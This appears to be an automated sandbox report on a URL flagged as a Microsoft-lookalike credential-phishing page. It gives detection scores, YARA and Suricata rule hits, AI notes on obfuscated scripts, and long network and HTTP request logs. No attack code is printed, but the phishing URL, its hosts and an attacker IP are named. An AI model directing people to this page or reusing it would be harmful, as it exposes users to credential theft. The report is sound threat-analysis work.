Edit tour

Windows Analysis Report
http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login

Overview

General Information

Sample URL:	http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login
Analysis ID:	1568447
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Suricata IDS alerts for network traffic

Yara detected HtmlPhish54

AI detected suspicious Javascript

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5828 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6236 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2012,i,7567121628434833294,17868297172633073124,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4084 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://fdgfhvcfdgfhhjh.gharelokhana.com/common/login" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.3.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.2.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO PHISHING JS/PsyduckPockeball Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T16:15:16.173645+0100	2857090	1	Successful Credential Theft Detected	164.92.191.86	443	192.168.2.6	49725	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The provided URL 'fdgfhvcfdgfhhjh.gharelokhana.com' does not match the legitimate domain for Microsoft., The URL contains a random string 'fdgfhvcfdgfhhjh' and a domain 'gharelokhana.com' which is not associated with Microsoft., The presence of a random string and an unrelated domain is a common tactic in phishing attempts. DOM: 1.4.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 0.3.id.script.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 0.2.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... This code exhibits multiple high-risk indicators: heavy obfuscation through numeric encoding and complex function nesting, use of array manipulation that could be hiding malicious payload, and suspicious variable naming patterns (e.g., a0r5). The code also contains multiple try-catch blocks and dynamic function construction patterns that could be used for evasion or malicious code execution.
Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... High-risk code showing multiple concerning behaviors: heavy obfuscation through numeric encoding and function name mangling, use of dynamic function construction patterns, and complex control flow obfuscation. The code appears intentionally obscured to hide its true purpose, which is a common malware technique.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... Multiple high-risk indicators present: 1) Suspicious domains using 'gharelokhana.com' instead of legitimate Microsoft domains 2) Attempt to mimic Microsoft login infrastructure 3) Multiple redirect URLs to potentially malicious domains 4) Appears to be a phishing attempt masquerading as Microsoft authentication error page
Source: 0.7.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/lo... This code shows multiple high-risk indicators: heavy obfuscation through encoded strings and numbers, use of complex array manipulations that could hide malicious intent, and potential dynamic code execution patterns. The code is intentionally made difficult to read and understand, which is a common characteristic of malicious scripts.

Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login

HTTP Parser: Number of links: 0

Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login

HTTP Parser: Base64 decoded: a[href="http://www.salidzini.lv/"][style="display: block; width: 120px; height: 40px; overflow: hidden; position: relative;"]

Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login

HTTP Parser: Title: Sign in to your account does not match URL

Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No favicon
Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No favicon
Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No favicon
Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No favicon

Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No <meta name="author".. found
Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No <meta name="author".. found
Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No <meta name="author".. found
Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No <meta name="author".. found

Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No <meta name="copyright".. found
Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No <meta name="copyright".. found
Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No <meta name="copyright".. found
Source: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/login	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.43:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.43:443 -> 192.168.2.6:49917 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2857090 - Severity 1 - ETPRO PHISHING JS/PsyduckPockeball Payload Inbound : 164.92.191.86:443 -> 192.168.2.6:49725

Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.53.9
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.43
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.43
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.43
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknown	TCP traffic detected without corresponding DNS query: 23.218.208.109

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /common/login HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=NKm6+LZGGaTg9R9&MD=9raX5TOl HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /common/login HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://fdgfhvcfdgfhhjh.gharelokhana.com/common/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fdgfhvcfdgfhhjh.gharelokhana.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fdgfhvcfdgfhhjh.gharelokhana.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.error.strings-en.min_v1eniakvll_1x20aakd_sg2.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fdgfhvcfdgfhhjh.gharelokhana.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.error.strings-en.min_v1eniakvll_1x20aakd_sg2.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fdgfhvcfdgfhhjh.gharelokhana.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4ac65d3921a049f68027c1dc86c3c5b1/ HTTP/1.1Host: fdgfhvcfdgfhhjh.gharelokhana.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://fdgfhvcfdgfhhjh.gharelokhana.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="Sec-WebSocket-Key: +3BnCYzXFmE2rRIg62YZ6Q==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js HTTP/1.1Host: 7eb5b5ab-4ac65d39.gharelokhana.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://fdgfhvcfdgfhhjh.gharelokhana.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://fdgfhvcfdgfhhjh.gharelokhana.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: 5ba3c75c-4ac65d39.gharelokhana.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zQt4SK="NGFjNjVkMzktMjFhMC00OWY2LTgwMjctYzFkYzg2YzNjNWIxOmFkNmQ3ZGY4LWUzYzQtNDRhZS1hNDVhLWFkMzBkMDQ3NTIzNg=="
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
